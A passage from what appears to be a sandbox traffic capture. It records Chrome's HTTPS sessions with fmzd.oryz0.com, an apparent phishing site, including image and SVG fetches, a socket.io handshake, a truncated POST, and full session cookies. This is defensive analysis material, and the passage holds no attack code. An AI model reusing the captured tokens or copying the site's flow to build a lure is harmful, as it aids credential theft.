f4 a5 10 31 09 09 d0 9e 36 f0 1f 3e 12 3b 49 4b 4b 4b 4b 4b bf cf 6e e5 eb f8 ee 58 bb 05 4a 4b 4b ff df d2 e0 Data Ascii: u<+raEP'HfXre$PT>b8AR4r QFQkcV!0`e~ux9m7F`QFcd)RI!SVE6%L*GJTQ[As(uA(S:\|%K9qM((T4xo,\.6v16>;IKKKKKnXJKK
2024-05-23 08:31:35 UTC	1369	IN	Data Raw: 02 22 92 13 20 64 14 59 b2 e5 a0 3a 99 67 82 e6 ee 72 cf 1d 66 c7 a3 2c 1a da 79 0f 13 14 29 92 e2 71 c9 44 e4 e7 84 a0 c2 9f f7 0e ba a8 11 61 68 5f fa 1d ff f6 b8 d7 09 45 9d f7 18 61 a2 cf d1 a7 76 8f 13 7e b0 51 c5 d3 5b 09 40 57 2c 6f 6b b6 61 22 ea 37 fd 68 16 80 a1 c0 35 c2 0c d2 3a 85 ef 21 50 78 14 9f 15 27 6e bd a6 4d 6a 70 82 bc 56 5c ed c3 07 4f fc db 7e b8 f3 ce 26 a0 dc bc 05 0a 43 71 81 c0 11 41 31 9c 20 29 9a 61 39 5e 10 3b a3 77 e9 b5 a7 54 3d eb 39 f8 84 11 13 21 91 29 54 1a 9d c1 64 b1 39 5c 5e fe 82 0a 00 c0 d0 b2 c2 20 28 56 b8 c4 22 c4 92 8f 4b c4 db e9 d5 16 77 f3 73 34 90 cb 61 6b a5 67 b8 d1 63 dc 12 db 49 a1 78 8f 3a 70 56 78 9c f7 22 15 6d 55 d4 d2 cd 70 8f 4e b6 dd 48 9f a8 82 3e b4 c1 8c 26 b3 25 20 c1 88 90 c0 08 8a e1 04 49 Data Ascii: " dY:grf,y)qDah_Eav~Q[@W,oka"7h5:!Px'nMjpV\O~&CqA1 )a9^;wT=9!)Td9\^ (V"Kws4akgcIx:pVx"mUpNH>&% I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49791	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:34 UTC	1483	OUT	GET /klgF5dnNHAlDrc6qSyelLuefIYXo4YwvCKst4HwTl55Gv89VSB1BFMlexg5FVpicEMLp0yz230 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
2024-05-23 08:31:35 UTC	669	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:35 GMT Content-Type: image/png Content-Length: 1400 Connection: close Content-Disposition: inline; filename="klgF5dnNHAlDrc6qSyelLuefIYXo4YwvCKst4HwTl55Gv89VSB1BFMlexg5FVpicEMLp0yz230" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BTqd2C60FJd1t%2BWY4ESFgp2%2BqT223Xcihtny9wP3Zjb7Y2DMwTxAyuVhotS%2BOTaFZlKrhfsAVw66pLpK0811lhkKdVpqCnDAigqUNQhPj6u6qRoDrRXKikJfRCRcZg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0c35948438b-EWR
2024-05-23 08:31:35 UTC	700	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 6c 00 00 00 18 08 06 00 00 00 1f d5 18 1a 00 00 05 3f 49 44 41 54 68 43 ed 58 bd 6e 13 41 10 be 4b d2 d0 20 87 b4 48 38 bc 00 c9 13 10 37 50 c6 ee 91 70 9e 00 e7 af 26 ae f3 83 f3 04 18 89 3e 97 92 34 98 27 c0 79 81 60 24 5a c0 d0 d0 24 31 df b7 9a 39 8d 97 3b bc 91 0c 77 91 7c d2 c9 f6 7a 76 76 76 be f9 8f 7f d6 1f 8e a2 b0 e7 db dd e4 62 e9 e5 59 f4 15 e4 f7 42 b6 b4 9f 44 71 08 dd 8c 26 5c 03 f1 0c b0 70 65 95 81 72 06 58 19 50 b8 81 0c 33 c0 6e a0 ac 7f 4d da 6a b5 aa f3 f3 f3 2b a3 d1 a8 72 7d 7d 9d 74 3a 9d a1 7f 66 61 80 6d 6d 6d 35 55 18 08 d9 df df df ef e7 29 64 77 77 77 e5 ea ea 6a 85 ff c7 71 3c 3c 3c 3c 4c f8 7d 67 67 67 0d 1f eb 97 97 97 ed ac cb fd 6b 05 4f 93 3f f4 d1 c2 dd 5e 82 67 Data Ascii: PNGIHDRl?IDAThCXnAK H87Pp&>4'y`$Z$19;w\|zvvvbYBDq&\perXP3nMj+r}}t:fammm5U)dwwwjq<<<<L}gggkO?^g
2024-05-23 08:31:35 UTC	700	IN	Data Raw: e6 07 18 cc 0f 49 f4 b4 74 ca e1 ef 65 7e 71 8a 26 e8 36 af 32 42 e0 7d c3 2a 56 ce 70 f2 9b 42 c9 f2 22 0d ef ca 27 c1 9e 4d 18 01 73 f0 73 91 99 b2 fa 1e 56 25 2d d6 3f 38 79 43 14 3f 6d 1a 1f b0 85 85 05 7a 09 15 9d 26 5d 5c 98 56 4e eb 73 1e 85 d0 f2 6a 12 60 c6 ea 19 02 6b 59 ad 82 05 0c fc 36 34 d4 59 10 ec ba 28 5f 65 61 5b e1 72 8c c8 1b 31 42 f8 e7 18 d9 1d bd 17 35 18 02 e9 c5 69 a1 75 a3 1c 16 bd fd 1e e6 61 51 f4 2b 7a b6 78 7f f4 2e fa 82 b3 82 3c 2c 7e 1a e6 61 cc 1d 10 7a 2c bc 49 85 54 87 62 da 50 ea 5e 08 60 ba 07 f2 8d 79 aa 35 38 0b 18 2c 7c 51 fb b7 bc 75 dd ab 2d 84 86 5f 95 97 ff fb 6d 85 31 1c e7 91 f6 7c 6b ac 6a 18 37 05 2c 78 f8 0b c0 96 00 58 f0 f0 17 80 65 7a b0 ef 61 04 8c 8d b4 58 de 00 8a 5c 45 98 24 80 15 2d f7 03 01 73 a0 Data Ascii: Ite~q&62B}*VpB"'MssV%-?8yC?mz&]\VNsj`kY64Y(_ea[r1B5iuaQ+zx.<,~az,ITbP^`y58,\|Qu-_m1\|kj7,xXezaX\E$-s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49789	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:34 UTC	1476	OUT	GET /kldBaTGaMI14H8C3GglM670jDjijX4stNOD81yGNtSywFAVJ0xeo20J7xU1GbFuv220 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
2024-05-23 08:31:35 UTC	670	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:35 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="kldBaTGaMI14H8C3GglM670jDjijX4stNOD81yGNtSywFAVJ0xeo20J7xU1GbFuv220" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FbcWFVHMGppENDtr8YEcgTo6ltG3MphMq2ALmnjk0gfqbHNVqxUFi2OyBadCI4gzPaFAeIheO9dAktBuMOjjdEpx8g9CopNWULFv17vbfQHeB1h6c%2F7uj333Tkd%2BpA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0c35ffbc337-EWR
2024-05-23 08:31:35 UTC	699	IN	Data Raw: 37 34 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 Data Ascii: 748<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1
2024-05-23 08:31:35 UTC	1172	IN	Data Raw: 2e 34 34 35 20 31 32 31 35 2e 36 20 32 36 35 2e 38 20 31 32 31 35 2e 36 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 44 29 22 2f 3e 3c 2f 67 3e 3c 64 65 66 73 3e 3c 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 20 69 64 3d 22 41 22 20 63 78 3d 22 30 22 20 63 79 3d 22 30 22 20 72 3d 22 31 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 67 72 61 64 69 65 6e 74 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 34 36 36 2e 34 20 33 39 33 2e 36 29 20 72 6f 74 61 74 65 28 39 30 29 20 73 63 61 6c 65 28 31 34 30 31 2e 36 20 31 37 32 30 2e 38 29 22 3e 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 31 30 37 63 31 30 22 2f 3e 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 31 22 20 73 74 6f 70 2d 63 6f Data Ascii: .445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-co
2024-05-23 08:31:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49788	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:34 UTC	1411	OUT	GET /cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
2024-05-23 08:31:35 UTC	748	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:34 GMT Content-Type: application/javascript Content-Length: 1239 Connection: close Last-Modified: Mon, 20 May 2024 10:29:22 GMT ETag: "664b2602-4d7" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LE3Q3XAhBQbvDAFJAdVTGQPxebyf1oGOdDVu6OoON3d7RFbGs6L0dXG8eXe3T8dSvNP2Tgw8zLPcVN1YSOc7A32pudzQ85DfZ79zO4gK7V8zJX861ZlE5%2BGC4IpRpwsA1w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8883b0c39c060c95-EWR X-Frame-Options: DENY X-Content-Type-Options: nosniff Expires: Sat, 25 May 2024 08:31:34 GMT Cache-Control: max-age=172800 Cache-Control: public Accept-Ranges: bytes
2024-05-23 08:31:35 UTC	1239	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 74 72 79 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 63 6f 6e 73 6f 6c 65 29 72 65 74 75 72 6e 3b 22 65 72 72 6f 72 22 69 6e 20 63 6f 6e 73 6f 6c 65 3f 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 65 29 3a 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 65 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 72 65 74 75 72 6e 20 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 27 3c 61 20 68 72 65 66 3d 22 27 2b 65 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2b 27 22 3e 3c 2f 61 3e 27 2c 64 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 30 5d 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 68 72 65 66 Data Ascii: !function(){"use strict";function e(e){try{if("undefined"==typeof console)return;"error"in console?console.error(e):console.log(e)}catch(e){}}function t(e){return d.innerHTML='<a href="'+e.replace(/"/g,""")+'"></a>',d.childNodes[0].getAttribute("href

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49790	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:34 UTC	1454	OUT	GET /uvhsHf7kvdLkQQERLIIhKast6Nm88PiJoYHda69V12127 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
2024-05-23 08:31:35 UTC	635	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:35 GMT Content-Type: image/png Content-Length: 231 Connection: close Content-Disposition: inline; filename="uvhsHf7kvdLkQQERLIIhKast6Nm88PiJoYHda69V12127" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rDjArR96%2BLzc3hfEy8QsIwJu3qCgYsQYCea5cQtFcTUlRbYNOJUeDny10plAWdluEaF0DgWdahJtWdCBeoFMADCZMBEM5qELQeMPjMaOhusDIiLQLM%2BXsFeQq90Hig%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0c36df14339-EWR
2024-05-23 08:31:35 UTC	231	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 18 08 06 00 00 00 e0 77 3d f8 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 a1 49 44 41 54 48 4b ed 93 b1 0d 02 31 10 04 e7 5a a0 0c aa b8 12 a8 80 9c 2e 20 23 24 23 a5 94 2d e1 cb 20 24 24 33 b2 f4 48 1f 80 cf bc 71 80 78 a7 3e ed 78 c7 b6 d1 79 59 e7 7c 16 40 68 f8 8f 14 b9 fb 05 18 24 9d 42 2f 93 81 2a 45 63 f8 0a d8 4a ba 7d 15 d0 12 9e 0f 52 6c d0 1a 5e 04 8c e1 1b e0 0c dc 23 2d 92 0e af 66 de 36 70 f7 63 4a 69 67 66 b5 80 fd 47 80 3c 9c 21 c0 7a ce e5 3e 61 e1 2b 6a 85 84 80 d6 26 55 80 09 e4 da e5 a3 45 2f a8 b4 5f dd 60 2e 64 01 84 e6 7e 5f d1 03 bf ca 37 19 0c 18 34 60 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRw=sRGBIDATHK1Z. #$#- $$3Hqx>xyY\|@h$B/*EcJ}Rl^#-f6pcJigfG<!z>a+j&UE/_`.d~_74`IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49793	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:35 UTC	1281	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: fmzd.oryz0.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://fmzd.oryz0.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D Sec-WebSocket-Key: xl0DSaeivFkjlX9VT9gy0w== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-05-23 08:31:36 UTC	579	IN	HTTP/1.1 400 Bad Request Date: Thu, 23 May 2024 08:31:36 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qI%2BRfdQdb2evSrcBvTEEJz7%2F%2B98dqUg8fpCxnv4N0Hy52MAXyspw3sGCF8H0IwNqcSIb%2FQMTIZK1YvQtIcHu9UIsbF6PPz9bQnOaltVytfSgNvJaGtw2iGmrd0pM6ehzwQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8883b0c82c044245-EWR alt-svc: h3=":443"; ma=86400
2024-05-23 08:31:36 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-05-23 08:31:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49792	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:35 UTC	1552	OUT	POST /bftRxKkv3PsBzf1QWLiUOYZ6VtdhMdfdCpGmapVuoYCxCnUeyTVRLL4g HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive Content-Length: 29 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://fmzd.oryz0.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 